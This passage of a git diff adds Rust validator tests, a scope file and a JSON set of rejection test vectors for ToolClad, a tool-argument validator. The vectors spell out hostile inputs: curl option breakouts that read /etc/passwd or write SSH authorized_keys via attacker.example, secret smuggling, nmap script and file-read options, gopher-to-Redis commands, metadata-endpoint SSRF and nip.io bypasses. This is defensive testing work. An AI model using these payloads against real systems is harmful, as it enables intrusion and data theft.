} + + #[test] + fn test_ip_address_and_cidr_apply_host_policy() { + let open_ip = make_arg("ip_address"); + assert!(validate_arg("ip", &open_ip, "10.0.0.1").is_ok()); + let err = validate_arg("ip", &open_ip, "169.254.169.254") + .unwrap_err() + .to_string(); + assert!(err.contains("always blocked"), "{err}"); + assert!(validate_arg("ip", &open_ip, "fe80::1").is_err()); + let block_ip = ArgDef { + type_name: "ip_address".to_string(), + block_internal: true, + ..Default::default() + }; + for v in [ + "10.0.0.1", + "127.0.0.1", + "::1", + "::ffff:192.168.0.1", + "100.64.1.1", + ] { + let err = validate_arg("ip", &block_ip, v).unwrap_err().to_string(); + assert!(err.contains("block_internal"), "{v}: {err}"); + } + assert!(validate_arg("ip", &block_ip, "93.184.216.34").is_ok()); + + let open_cidr = make_arg("cidr"); + assert!(validate_arg("c", &open_cidr, "10.0.0.0/24").is_ok()); + assert!(validate_arg("c", &open_cidr, "169.254.0.0/16").is_err()); + let block_cidr = ArgDef { + type_name: "cidr".to_string(), + block_internal: true, + ..Default::default() + }; + assert!(validate_arg("c", &block_cidr, "10.0.0.0/24").is_err()); + assert!(validate_arg("c", &block_cidr, "198.18.0.0/15").is_err()); + assert!(validate_arg("c", &block_cidr, "8.8.8.0/24").is_ok()); + } + + // ---- W4 hostname rules: denylist, embedded literal, overlap, DNS ---- + + #[test] + fn test_internal_names_always_blocked() { + const MSG: &str = "resolves to an internal name — always blocked"; + let names = [ + "localhost", + "api.localhost", + "printer.local", + "metadata.google.internal", + "db.internal", + "x.home.arpa", + "nas.lan", + "wiki.intranet", + "fs.corp", + "vpn.private", + "LOCALHOST", + "Metadata.Google.Internal", + ]; + for block_internal in [false, true] { + let target = ArgDef { + type_name: "scope_target".to_string(), + block_internal, + ..Default::default() + }; + let url = url_arg(block_internal, &[]); + for h in names { + let err = validate_arg("t", &target, h).unwrap_err().to_string(); + assert_eq!( + err, + format!("validation error: argument 't' target {MSG}"), + "{h}" + ); + let err = validate_arg("u", &url, &format!("http://{h}/x")) + .unwrap_err() + .to_string(); + assert_eq!( + err, + format!("validation error: argument 'u' target {MSG}"), + "{h}" + ); + let err = validate_arg("u", &url, &format!("https://{h}:8443/")) + .unwrap_err() + .to_string(); + assert!(err.contains(MSG), "{h}: {err}"); + } + } + // A public name that merely contains a listed word is not on the list. + let open = make_arg("scope_target"); + for h in [ + "localhost.com", + "internal.example.com", + "local.example.com", + "corp.example.com", + ] { + assert!(validate_arg("t", &open, h).is_ok(), "{h}"); + } + } + + #[test] + fn test_embedded_ip_literal_in_hostname() { + let open = make_arg("scope_target"); + let blocking = blocking_arg(); + // Link-local spelled into a wildcard-DNS name: refused without the policy. + let err = validate_arg("t", &open, "169.254.169.254.nip.io") + .unwrap_err() + .to_string(); + assert!(err.contains("always blocked"), "{err}"); + let err = validate_arg( + "u", + &url_arg(false, &[]), + "http://169.254.169.254.nip.io/latest/meta-data/", + ) + .unwrap_err() + .to_string(); + assert!(err.contains("always blocked"), "{err}"); + // Loopback / private spelled dotted or dashed: refused with the policy + // and open without it, exactly like the literal they spell. + for h in [ + "127.0.0.1.nip.io", + "10-0-0-1.nip.io", + "192-168-1-1.sslip.io", + "0.0.0.0.nip.io", + "100-64-0-1.nip.io", + ] { + let err = validate_arg("t", &blocking, h).unwrap_err().to_string(); + assert!( + err.contains("blocked by block_internal policy"), + "{h}: {err}" + ); + let err = validate_arg("u", &url_arg(true, &[]), &format!("http://{h}:8080/")) + .unwrap_err() + .to_string(); + assert!( + err.contains("blocked by block_internal policy"), + "{h}: {err}" + ); + assert!(validate_arg("t", &open, h).is_ok(), "{h}"); + } + // A public embedded address is not refused for its shape; it is taken + // as the address the name spells, so no lookup is needed. + for h in [ + "93-184-216-34.example.com", + "93.184.216.34.nip.io", + "8-8-8-8.sslip.io", + ] { + assert!(validate_arg("t", &blocking, h).is_ok(), "{h}"); + assert!( + validate_arg("u", &url_arg(true, &[]), &format!("https://{h}/")).is_ok(), + "{h}" + ); + } + } + + #[test] + fn test_scope_target_and_cidr_overlap_policy() { + let blocking = blocking_arg(); + let block_cidr = ArgDef { + type_name: "cidr".to_string(), + block_internal: true, + ..Default::default() + }; + for def in [&blocking, &block_cidr] { + // The supernet from the review: public base, contains 10.0.0.0/8. + let err = validate_arg("t", def, "8.0.0.0/5").unwrap_err().to_string(); + assert!( + err.contains("overlaps 10.0.0.0/8") && err.contains("block_internal"), + "{err}" + ); + let err = validate_arg("t", def, "10.0.0.0/24") + .unwrap_err() + .to_string(); + assert!(err.contains("overlaps 10.0.0.0/8"), "{err}"); + assert!(validate_arg("t", def, "93.184.216.0/24").is_ok()); + // IPv6 CIDRs are values of both types. + let err = validate_arg("t", def, "2001:db8::/32") + .unwrap_err() + .to_string(); + assert!(err.contains("overlaps 2001:db8::/32"), "{err}"); + assert!(validate_arg("t", def, "2606:4700::/32").is_ok()); + assert!(validate_arg("t", def, "2000::/3").is_err()); // holds 2001:db8::/32 + // The whole address space is always blocked (it holds link-local). + assert!(validate_arg("t", def, "0.0.0.0/0").is_err()); + assert!(validate_arg("t", def, "::/0").is_err()); + } + // Without the policy only the always-blocked tier is tested — still + // by overlap. + for def in [make_arg("scope_target"), make_arg("cidr")] { + assert!(validate_arg("t", &def, "8.0.0.0/5").is_ok()); + assert!(validate_arg("t", &def, "2001:db8::/32").is_ok()); + let err = validate_arg("t", &def, "169.0.0.0/8") + .unwrap_err() + .to_string(); + assert!( + err.contains("overlaps 169.254.0.0/16") && err.contains("always blocked"), + "{err}" + ); + let err = validate_arg("t", &def, "0.0.0.0/0") + .unwrap_err() + .to_string(); + assert!(err.contains("always blocked"), "{err}"); + let err = validate_arg("t", &def, "fe00::/7").unwrap_err().to_string(); + assert!(err.contains("overlaps fe80::/10"), "{err}"); + } + } + + #[test] + fn test_ipv6_cidr_is_framed_strictly() { + // Base must be canonical IPv6 and the prefix plain decimal 0-128; a + // malformed range is "not a CIDR", so it fails the slash rule. + let open = make_arg("scope_target"); + assert!(validate_arg("t", &open, "2606:4700::/32").is_ok()); + for v in [ + "2606:4700::/129", + "2606:4700::/032", + "2606:4700::/+32", + "2606:4700::/", + "2606:4700:/32", + "2606:4700::/32/", + "10.0.0.0/33", + "10.0.0.0/024", + ] { + let err = validate_arg("t", &open, v).unwrap_err().to_string(); + assert!(err.contains("'/'"), "{v}: {err}"); + } + } + + #[test] + fn test_block_internal_resolution_fails_closed() { + // RFC 2606 reserves `.invalid`; the name never resolves. This is the + // one lookup the suite performs and it exercises the refusal path. + const HOST: &str = "no-such-host.invalid"; + let err = validate_arg("t", &blocking_arg(), HOST) + .unwrap_err() + .to_string(); + assert_eq!( + err, + format!("validation error: argument 't' could not resolve host '{HOST}' to verify it is public (block_internal)") + ); + let err = validate_arg("u", &url_arg(true, &[]), &format!("https://{HOST}/path")) + .unwrap_err() + .to_string(); + assert_eq!( + err, + format!("validation error: argument 'u' could not resolve host '{HOST}' to verify it is public (block_internal)") + ); + // Without the policy no resolution is attempted: the name is accepted + // on structure alone. + assert!(validate_arg("t", &make_arg("scope_target"), HOST).is_ok()); + assert!(validate_arg("u", &make_arg("url"), &format!("https://{HOST}/path")).is_ok()); + } + + // ---- W11: strictness and cross-runtime parity ---------------------- + + #[test] + fn w11_integer_strictness() { + let def = make_arg("integer"); + for bad in ["", "0x10", "1_000", " 7 ", "7\n", "7 ", "1.0", "1e3", "٣"] { + assert!(validate_arg("n", &def, bad).is_err(), "{bad:?}"); + } + let mut signed = make_arg("integer"); + signed.allow_leading_dash = true; + assert_eq!(validate_arg("n", &signed, "+7").unwrap(), "7"); + assert_eq!(validate_arg("n", &signed, "-07").unwrap(), "-7"); + assert_eq!(validate_arg("n", &def, "007").unwrap(), "7"); + } + + #[test] + fn w11_port_strictness() { + let def = make_arg("port"); + for bad in ["", "+80", " 80", "80 ", "0", "65536", "0x50"] { + assert!(validate_arg("p", &def, bad).is_err(), "{bad:?}"); + } + assert_eq!(validate_arg("p", &def, "443").unwrap(), "443"); + } + + #[test] + fn w11_number_strictness_and_rendering() { + let def = make_arg("number"); + for bad in [ + "NaN", "nan", "inf", "Infinity", "0x1p3", " 1.5", "1.5 ", "", ".", "1e", "1_0", + ] { + assert!(validate_arg("f", &def, bad).is_err(), "{bad:?}"); + } + for (input, out) in [("1e2", "100"), ("0.50", "0.5"), (".5", "0.5"), ("3.", "3")] { + assert_eq!(validate_arg("f", &def, input).unwrap(), out, "{input}"); + } + } + + #[test] + fn w11_duration_strictness() { + let def = make_arg("duration"); + for bad in ["", "5m\n", "1_000", " 7 ", "5 m", "m", "5x", "1m1h"] { + assert!(validate_arg("d", &def, bad).is_err(), "{bad:?}"); + } + for good in ["30", "5m", "1h30m", "500ms", "2h5m3s10ms"] { + assert_eq!(validate_arg("d", &def, good).unwrap(), good); + } + } + + #[test] + fn w11_boolean_case_insensitive() { + let def = make_arg("boolean"); + assert_eq!(validate_arg("b", &def, "True").unwrap(), "true"); + assert_eq!(validate_arg("b", &def, "FALSE").unwrap(), "false"); + for bad in ["yes", "1", " true", "true\n", "t"] { + assert!(validate_arg("b", &def, bad).is_err(), "{bad:?}"); + } + } + + #[test] + fn w11_host_shape_parity() { + assert!(validate_arg("t", &make_arg("scope_target"), "example.com.").is_err()); + assert!(validate_arg("u", &make_arg("url"), "https://example.com./x").is_err()); + assert!(validate_arg("t", &make_arg("scope_target"), "2001:db8::/32").is_ok()); + assert!(validate_arg("c", &make_arg("cidr"), "2001:db8::/32").is_ok()); + let mut blocked = make_arg("cidr"); + blocked.block_internal = true; + assert!(validate_arg("c", &blocked, "2001:db8::/32").is_err()); + } + + #[test] + fn w11_parent_component_refused() { + for t in ["path", "credential_file"] { + for bad in ["..", "foo/..", "foo\\..", "../x", "a/../b", "a\\..\\b"] { + assert!( + validate_arg("p", &make_arg(t), bad).is_err(), + "{t}: {bad:?}" + ); + } + } + // `..` inside a component name is not traversal. + assert!(validate_arg("p", &make_arg("path"), "foo..bar/x").is_ok()); + assert!(validate_arg("p", &make_arg("path"), "a/.../b").is_ok()); + } + + #[test] + fn w11_no_trimming_of_enum_or_ip() { + let mut def = make_arg("enum"); + def.allowed = Some(vec!["ping".to_string()]); + assert!(validate_arg("e", &def, " ping").is_err()); + assert!(validate_arg("i", &make_arg("ip_address"), "10.0.0.1 ").is_err()); + } + + // ---- property test: the fuzz property over deterministic inputs ---- + + /// Characters the generator draws from, weighted toward the ones the + /// hygiene rules exist for. + const FUZZ_ALPHABET: &[char] = &[ + 'a', + 'Z', + '0', + '9', + '.', + '/', + ':', + '-', + '+', + '_', + '@', + '*', + '?', + '[', + ']', + '(', + ')', + '%', + '=', + ',', + ';', + '|', + '&', + '$', + '`', + '<', + '>', + '{', + '}', + '!', + '#', + '~', + ' ', + '\t', + '\n', + '\r', + '\0', + '\x0b', + '\x0c', + '\x1b', + '\x7f', + '\u{85}', + '\u{9f}', + '\u{a0}', + '\u{2028}', + '\u{2029}', + '\u{3000}', + '\u{200b}', + '\u{feff}', + '\'', + '"', + '\\', + 'h', + 't', + 'p', + 's', + 'x', + '1', + '2', + 'm', + '\u{e9}', + '\u{1f600}', + ]; + + const FUZZ_PREFIXES: &[&str] = &[ + "", + "", + "", + "http://", + "https://", + "10.0.0.", + "example.com", + "-", + "+", + "../", + "1h", + "1.2.3.4/", + "::1", + "0x7f.1", + "RHOSTS ", + ]; + + struct XorShift(u64); + + impl XorShift { + fn next(&mut self) -> u64 { + let mut x = self.0; + x ^= x << 13; + x ^= x >> 7; + x ^= x << 17; + self.0 = x; + x + } + + fn below(&mut self, n: usize) -> usize { + (self.next() % n as u64) as usize + } + + fn value(&mut self) -> String { + let mut s = FUZZ_PREFIXES[self.below(FUZZ_PREFIXES.len())].to_string(); + for _ in 0..self.below(24) { + s.push(FUZZ_ALPHABET[self.below(FUZZ_ALPHABET.len())]); + } + s + } + } + + /// The fuzz property for one accepted value: a string-derived type never + /// returns whitespace, a quote, a backslash, a control character, or a + /// leading `-`/`+` without the matching opt-in (`msf_options` may keep + /// its ASCII space separator). + fn assert_hygienic(type_name: &str, input: &str, out: &str) { + let space_ok = type_name == "msf_options"; + assert!( + !out.chars() + .any(|c| c.is_whitespace() && !(space_ok && c == ' ')), + "{type_name}: {input:?} -> {out:?} contains whitespace" + ); + assert!( + !out.contains(['\'', '"', '\\']), + "{type_name}: {input:?} -> {out:?} contains a quote or backslash" + ); + assert!( + !out.chars().any(is_control_char), + "{type_name}: {input:?} -> {out:?} contains a control character" + ); + assert!( + !out.starts_with(['-', '+']), + "{type_name}: {input:?} -> {out:?} starts with '-' or '+'" + ); + } + + #[test] + fn test_validator_property_over_pseudo_random_inputs() { + let defs: Vec = [ + "string", + "path", + "regex_match", + "url", + "scope_target", + "duration", + "msf_options", + "integer", + "number", + "port", + "boolean", + "ip_address", + "cidr", + ] + .iter() + .map(|t| { + let mut d = make_arg(t); + if *t == "regex_match" { + d.pattern = Some(".*".to_string()); + } + d + }) + .collect(); + let mut enum_def = make_arg("enum"); + enum_def.allowed = Some(vec!["a".into(), "b".into()]); + + let mut rng = XorShift(0x9e37_79b9_7f4a_7c15); + let mut accepted = 0usize; + for _ in 0..4000 { + let value = rng.value(); + for def in defs.iter().chain(std::iter::once(&enum_def)) { + for exec_mode in [false, true] { + if let Ok(out) = validate_arg_mode("v", def, &value, exec_mode) { + accepted += 1; + if STRING_DERIVED_TYPES.contains(&def.type_name.as_str()) { + assert_hygienic(&def.type_name, &value, &out); + } + } + } + } + } + // The generator must reach the accepting paths, not only refusals. + assert!(accepted > 100, "only {accepted} values accepted"); + } } diff --git a/scope/scope.toml b/scope/scope.toml new file mode 100644 index 0000000..e7387b6 --- /dev/null +++ b/scope/scope.toml @@ -0,0 +1,28 @@ +# Project scope definition. +# +# Any argument declaring `scope_check = true` is validated against this file +# before the command is built. Types that participate: `scope_target`, `url` +# (the host is extracted), `ip_address`, and `cidr`. +# +# Discovery order: +# 1. the path in the TOOLCLAD_SCOPE_FILE environment variable +# 2. `scope/scope.toml`, searched upward from the manifest's directory +# +# Enforcement is fail-closed: if an argument sets `scope_check = true` and no +# scope file can be found, the call is refused. Blocked rules are evaluated +# first and always win over allowed rules. +# +# Domain rules: +# "example.com" matches exactly that host +# "*.example.com" matches any strict subdomain at any depth +# (app.example.com, deep.sub.example.com) but NOT the apex +# example.com, and NOT a suffix match like evil-example.com +# +# CIDR rules: an IP matches when it is contained in the range. A CIDR argument +# matches only when it is fully contained in an allowed range. + +[scope] +allowed_domains = ["example.com", "*.example.com"] +allowed_cidrs = [] +blocked_domains = [] +blocked_cidrs = [] diff --git a/tests/README.md b/tests/README.md new file mode 100644 index 0000000..0221435 --- /dev/null +++ b/tests/README.md @@ -0,0 +1,58 @@ +# Cross-language test vectors + +The four reference runtimes (`rust/`, `go/`, `js/`, `python/`) are independent +implementations of the same contract. The spec warns that this invites security +drift, and it has happened: a control implemented in one runtime and silently +ignored in three is worse than no control, because the manifest reads as if it +is enforced. + +These files are the shared enforcement point. Every runtime's own test suite +loads them and asserts the stated verdict for every vector. + +| File | Covers | +|---|---| +| `injection_vectors.json` | Argument and manifest rejection: option injection, quote breakout, whitespace, control characters, URL schemes, SSRF literals and CIDR overlap, obfuscated IP encodings, unknown manifest keys, interpreter binaries | +| `scope_vectors.json` | Scope math: IP-in-CIDR containment, hostname wildcard matching, `scope_target` shape validation, URL host scoping | + +## Rules + +- **Add vectors before rules.** A new validation rule gets its vectors here + first; the four implementations then make them pass. +- **Vectors are deterministic.** No vector may depend on live DNS, a writable + path, the clock, or an environment variable. A suite must give the same + verdict offline and in CI. +- **`expect` is authoritative.** A runtime that disagrees with a vector is + wrong, or the vector is wrong and changes for all four in one commit. Never + let one runtime carry a local exception. + +## Format + +`injection_vectors.json`: + +```json +{ + "arg_vectors": [ + { "id": "…", "arg": { "type": "string" }, "value": "…", + "expect": "reject", "note": "why this matters" } + ], + "manifest_vectors": [ + { "id": "…", "manifest": "", + "expect": "reject", "note": "why this matters" } + ] +} +``` + +`arg.*` fields are ToolClad `[args.]` keys, so a vector maps directly onto +each runtime's argument definition. `manifest` is a complete `.clad.toml` +source string, loaded through the runtime's normal manifest loader. + +Positive controls (`"expect": "accept"`) are as important as the rejections: +they are what stops a runtime from passing the suite by refusing everything. + +## Running every suite + +```bash +tests/run_all.sh # all four +tests/run_all.sh rust go # a subset +TOOLCLAD_PYTHON=/path/to/venv/bin/python tests/run_all.sh python +``` diff --git a/tests/injection_vectors.json b/tests/injection_vectors.json new file mode 100644 index 0000000..034278f --- /dev/null +++ b/tests/injection_vectors.json @@ -0,0 +1,682 @@ +{ + "_comment": "Cross-language negative-test vectors for argument validation and manifest loading. Every ToolClad implementation MUST produce the stated verdict for every vector. Vectors are deterministic: none depends on live DNS, a filesystem path, or an environment variable.", + "version": "1.0.0", + "arg_vectors": [ + { + "id": "string-quote-breakout-curl-header", + "arg": { "type": "string" }, + "value": "' -d @/etc/passwd", + "expect": "reject", + "note": "TC-1: single quote closes a template-level quote and appends curl options" + }, + { + "id": "string-quote-breakout-header-pair", + "arg": { "type": "string" }, + "value": "X: y' -d @/etc/passwd -H 'Z: w", + "expect": "reject", + "note": "TC-1: full curl_fetch headers breakout payload" + }, + { + "id": "string-space-only", + "arg": { "type": "string" }, + "value": "two words", + "expect": "reject", + "note": "TC-1: an unquoted space becomes a second argv entry under the legacy splitter" + }, + { + "id": "string-tab", + "arg": { "type": "string" }, + "value": "a\tb", + "expect": "reject", + "note": "TC-1: tab is whitespace too" + }, + { + "id": "string-double-quote", + "arg": { "type": "string" }, + "value": "say \"hi\"", + "expect": "reject", + "note": "TC-1: double quote plus whitespace" + }, + { + "id": "string-backslash", + "arg": { "type": "string" }, + "value": "a\\b", + "expect": "reject", + "note": "TC-1: backslash escapes in the legacy tokenizer" + }, + { + "id": "string-allow-whitespace-still-rejects-quote", + "arg": { "type": "string", "allow_whitespace": true }, + "value": "two 'words", + "expect": "reject", + "note": "allow_whitespace never permits quotes" + }, + { + "id": "string-nmap-input-list", + "arg": { "type": "string" }, + "value": "-iL /etc/passwd", + "expect": "reject", + "note": "TC-2: nmap reads an arbitrary file and leaks it through stderr" + }, + { + "id": "string-nmap-script-path", + "arg": { "type": "string" }, + "value": "--script=/tmp/evil.nse", + "expect": "reject", + "note": "TC-2: nmap NSE Lua execution" + }, + { + "id": "string-nmap-script-args", + "arg": { "type": "string" }, + "value": "--script http-fetch --script-args http-fetch.destination=/tmp/d", + "expect": "reject", + "note": "TC-2: stage one of the nmap NSE drop" + }, + { + "id": "string-long-option-equals", + "arg": { "type": "string" }, + "value": "--output=/etc/cron.d/x", + "expect": "reject", + "note": "TC-3: leading dash, no whitespace needed" + }, + { + "id": "string-short-option-attached", + "arg": { "type": "string" }, + "value": "-f/etc/shadow", + "expect": "reject", + "note": "TC-3: single argv element that is still a valid option" + }, + { + "id": "string-plus-option", + "arg": { "type": "string" }, + "value": "+short", + "expect": "reject", + "note": "TC-3: dig-style plus options" + }, + { + "id": "string-bare-double-dash", + "arg": { "type": "string" }, + "value": "--", + "expect": "reject", + "note": "TC-3: a user-supplied end-of-options marker" + }, + { + "id": "string-leading-dash-opt-in", + "arg": { "type": "string", "allow_leading_dash": true }, + "value": "-v", + "expect": "accept", + "note": "TC-3: explicit per-arg opt-in" + }, + { + "id": "string-escape-sequence", + "arg": { "type": "string" }, + "value": "\u001b]0;title\u0007", + "expect": "reject", + "note": "control characters (OSC terminal escape)" + }, + { + "id": "string-nul-byte", + "arg": { "type": "string" }, + "value": "abc\u0000def", + "expect": "reject", + "note": "NUL must be rejected by the validator, not only by execve" + }, + { + "id": "string-newline", + "arg": { "type": "string" }, + "value": "a\nb", + "expect": "reject", + "note": "newline injection" + }, + { + "id": "string-metacharacter-semicolon", + "arg": { "type": "string" }, + "value": "a;b", + "expect": "reject", + "note": "legacy shell-metacharacter blocklist, kept as defense in depth" + }, + { + "id": "string-plain-accept", + "arg": { "type": "string" }, + "value": "hello-world", + "expect": "accept", + "note": "positive control" + }, + { + "id": "integer-negative-default-deny", + "arg": { "type": "integer" }, + "value": "-1", + "expect": "reject", + "note": "TC-3: a negative integer is a valid option to most parsers" + }, + { + "id": "integer-negative-opt-in", + "arg": { "type": "integer", "allow_leading_dash": true }, + "value": "-1", + "expect": "accept", + "note": "TC-3: explicit opt-in" + }, + { + "id": "integer-empty-string", + "arg": { "type": "integer" }, + "value": "", + "expect": "reject", + "note": "TC-20: JS Number(\"\") was 0" + }, + { + "id": "integer-hex", + "arg": { "type": "integer" }, + "value": "0x10", + "expect": "reject", + "note": "TC-20: JS Number(\"0x10\") was 16" + }, + { + "id": "integer-underscores", + "arg": { "type": "integer" }, + "value": "1_000", + "expect": "reject", + "note": "TC-20: Python int() accepts underscores" + }, + { + "id": "integer-surrounding-whitespace", + "arg": { "type": "integer" }, + "value": " 7 ", + "expect": "reject", + "note": "TC-20: Python int() strips whitespace" + }, + { + "id": "integer-plain-accept", + "arg": { "type": "integer" }, + "value": "42", + "expect": "accept", + "note": "positive control" + }, + { + "id": "duration-trailing-newline", + "arg": { "type": "duration" }, + "value": "5m\n", + "expect": "reject", + "note": "TC-20: Python $ matched before a trailing newline" + }, + { + "id": "duration-underscores", + "arg": { "type": "duration" }, + "value": "1_000", + "expect": "reject", + "note": "TC-20" + }, + { + "id": "duration-padded", + "arg": { "type": "duration" }, + "value": " 7 ", + "expect": "reject", + "note": "TC-20" + }, + { + "id": "duration-accept", + "arg": { "type": "duration" }, + "value": "1h30m", + "expect": "accept", + "note": "positive control" + }, + { + "id": "url-space-option-injection", + "arg": { "type": "url" }, + "value": "https://attacker.example/ -o /root/.ssh/authorized_keys", + "expect": "reject", + "note": "TC-1: the confirmed curl_fetch url payload" + }, + { + "id": "url-space-write-tmp", + "arg": { "type": "url" }, + "value": "https://attacker.example/ -o /tmp/pwned", + "expect": "reject", + "note": "TC-1: second confirmed url payload" + }, + { + "id": "url-secret-smuggling", + "arg": { "type": "url" }, + "value": "https://attacker.example/?k={_secret:api_key}", + "expect": "reject", + "note": "TC-7: JS expanded secrets after interpolation" + }, + { + "id": "url-javascript-scheme", + "arg": { "type": "url" }, + "value": "javascript:alert(1)", + "expect": "reject", + "note": "TC-6" + }, + { + "id": "url-file-scheme", + "arg": { "type": "url" }, + "value": "file:///etc/passwd", + "expect": "reject", + "note": "TC-6" + }, + { + "id": "url-data-scheme", + "arg": { "type": "url" }, + "value": "data:text/html,", + "expect": "reject", + "note": "TC-6" + }, + { + "id": "url-gopher-redis", + "arg": { "type": "url" }, + "value": "gopher://127.0.0.1:6379/_FLUSHALL", + "expect": "reject", + "note": "TC-6: Go and Python accepted any scheme when schemes was unset" + }, + { + "id": "url-dict-scheme", + "arg": { "type": "url" }, + "value": "dict://127.0.0.1:11211/stat", + "expect": "reject", + "note": "TC-6" + }, + { + "id": "url-userinfo", + "arg": { "type": "url" }, + "value": "http://user:pw@example.com/", + "expect": "reject", + "note": "TC-6: userinfo hides the real host from a human reviewer" + }, + { + "id": "url-metacharacter", + "arg": { "type": "url" }, + "value": "https://attacker.example/;id", + "expect": "reject", + "note": "TC-6: JS ran no metacharacter check at all" + }, + { + "id": "url-scheme-not-in-list", + "arg": { "type": "url", "schemes": ["https"] }, + "value": "http://example.com/", + "expect": "reject", + "note": "TC-6: Rust ignored the schemes list" + }, + { + "id": "url-imds-always-blocked", + "arg": { "type": "url" }, + "value": "http://169.254.169.254/latest/meta-data/", + "expect": "reject", + "note": "TC-4: link-local is blocked with or without block_internal" + }, + { + "id": "url-docker-socket-block-internal", + "arg": { "type": "url", "block_internal": true }, + "value": "http://127.0.0.1:2375/containers/json", + "expect": "reject", + "note": "TC-4" + }, + { + "id": "url-ipv6-loopback-block-internal", + "arg": { "type": "url", "block_internal": true }, + "value": "http://[::1]:8080/", + "expect": "reject", + "note": "TC-6" + }, + { + "id": "url-accept", + "arg": { "type": "url" }, + "value": "https://example.com/path", + "expect": "accept", + "note": "positive control" + }, + { + "id": "url-accept-public-ip-block-internal", + "arg": { "type": "url", "block_internal": true }, + "value": "https://93.184.216.34/x", + "expect": "accept", + "note": "positive control: a public literal needs no DNS" + }, + { + "id": "scope-localhost", + "arg": { "type": "scope_target" }, + "value": "localhost", + "expect": "reject", + "note": "TC-5: the internal-name denylist applies unconditionally" + }, + { + "id": "scope-localhost-suffix", + "arg": { "type": "scope_target" }, + "value": "api.localhost", + "expect": "reject", + "note": "TC-5" + }, + { + "id": "scope-mdns-local", + "arg": { "type": "scope_target" }, + "value": "printer.local", + "expect": "reject", + "note": "TC-5" + }, + { + "id": "scope-google-metadata-name", + "arg": { "type": "scope_target" }, + "value": "metadata.google.internal", + "expect": "reject", + "note": "TC-5" + }, + { + "id": "scope-embedded-imds-literal", + "arg": { "type": "scope_target" }, + "value": "169.254.169.254.nip.io", + "expect": "reject", + "note": "TC-5: an IP literal embedded in a wildcard-DNS hostname" + }, + { + "id": "scope-embedded-loopback-literal", + "arg": { "type": "scope_target", "block_internal": true }, + "value": "127.0.0.1.nip.io", + "expect": "reject", + "note": "TC-5: the confirmed nip.io bypass" + }, + { + "id": "scope-embedded-dashed-literal", + "arg": { "type": "scope_target", "block_internal": true }, + "value": "10-0-0-1.nip.io", + "expect": "reject", + "note": "TC-5: dashed-quad wildcard DNS form" + }, + { + "id": "scope-supernet-cidr-overlap", + "arg": { "type": "scope_target", "block_internal": true }, + "value": "8.0.0.0/5", + "expect": "reject", + "note": "TC-5: contains all of 10/8 while its base address is public" + }, + { + "id": "scope-private-cidr", + "arg": { "type": "scope_target", "block_internal": true }, + "value": "10.0.0.0/24", + "expect": "reject", + "note": "TC-5" + }, + { + "id": "scope-decimal-ip-literal", + "arg": { "type": "scope_target" }, + "value": "2130706433", + "expect": "reject", + "note": "TC-20: a libc resolver expands this to 127.0.0.1" + }, + { + "id": "scope-hex-ip-literal", + "arg": { "type": "scope_target" }, + "value": "0x7f000001", + "expect": "reject", + "note": "TC-20" + }, + { + "id": "scope-octal-ip-literal", + "arg": { "type": "scope_target" }, + "value": "0177.0.0.1", + "expect": "reject", + "note": "TC-20" + }, + { + "id": "scope-shorthand-ip-literal", + "arg": { "type": "scope_target" }, + "value": "127.1", + "expect": "reject", + "note": "TC-20" + }, + { + "id": "scope-trailing-dot", + "arg": { "type": "scope_target" }, + "value": "example.com.", + "expect": "reject", + "note": "TC-20: Go and Python accepted a trailing dot" + }, + { + "id": "scope-numeric-tld", + "arg": { "type": "scope_target" }, + "value": "example.123", + "expect": "reject", + "note": "TC-20" + }, + { + "id": "scope-overlong-host", + "arg": { "type": "scope_target" }, + "value": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "expect": "reject", + "note": "254 octets, over the RFC 1035 limit" + }, + { + "id": "scope-overlong-label", + "arg": { "type": "scope_target" }, + "value": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.com", + "expect": "reject", + "note": "64-octet label, over the 63-octet limit" + }, + { + "id": "scope-newline-injection", + "arg": { "type": "scope_target" }, + "value": "example.com\nmalicious.com", + "expect": "reject", + "note": "from scope_vectors.json" + }, + { + "id": "scope-punycode", + "arg": { "type": "scope_target" }, + "value": "xn--example-9c.com", + "expect": "reject", + "note": "IDN homoglyph bypass" + }, + { + "id": "scope-accept-hostname", + "arg": { "type": "scope_target" }, + "value": "example.com", + "expect": "accept", + "note": "positive control" + }, + { + "id": "scope-accept-cidr", + "arg": { "type": "scope_target" }, + "value": "10.0.1.0/24", + "expect": "accept", + "note": "positive control: no block_internal, so private space is allowed" + }, + { + "id": "scope-accept-public-ip-block-internal", + "arg": { "type": "scope_target", "block_internal": true }, + "value": "93.184.216.34", + "expect": "accept", + "note": "positive control" + }, + { + "id": "path-leading-dash", + "arg": { "type": "path" }, + "value": "-rf", + "expect": "reject", + "note": "TC-3: confirmed accepted by Python and JS" + }, + { + "id": "path-bare-dotdot-component", + "arg": { "type": "path" }, + "value": "foo/..", + "expect": "reject", + "note": "TC-20: Rust and JS used a '../' substring test" + }, + { + "id": "path-dotdot-only", + "arg": { "type": "path" }, + "value": "..", + "expect": "reject", + "note": "TC-20" + }, + { + "id": "path-absolute", + "arg": { "type": "path" }, + "value": "/etc/shadow", + "expect": "reject", + "note": "absolute paths are blocked" + }, + { + "id": "path-accept", + "arg": { "type": "path" }, + "value": "config/settings.toml", + "expect": "accept", + "note": "positive control" + }, + { + "id": "regex-match-leading-dash", + "arg": { "type": "regex_match", "pattern": ".*" }, + "value": "-oN/etc/cron.d/x", + "expect": "reject", + "note": "TC-3: an unanchored .* pattern must not let an option through" + }, + { + "id": "regex-match-unanchored-pattern", + "arg": { "type": "regex_match", "pattern": "[a-z]+" }, + "value": "abc123", + "expect": "reject", + "note": "design issue 8: patterns are anchored, so this is a full-string match" + }, + { + "id": "regex-match-accept", + "arg": { "type": "regex_match", "pattern": "[a-z]+" }, + "value": "abc", + "expect": "accept", + "note": "positive control" + }, + { + "id": "string-unanchored-pattern", + "arg": { "type": "string", "pattern": "[a-z]+" }, + "value": "abc123", + "expect": "reject", + "note": "design issue 8" + }, + { + "id": "msf-options-leading-dash", + "arg": { "type": "msf_options" }, + "value": "-oN /tmp/x", + "expect": "reject", + "note": "TC-3" + }, + { 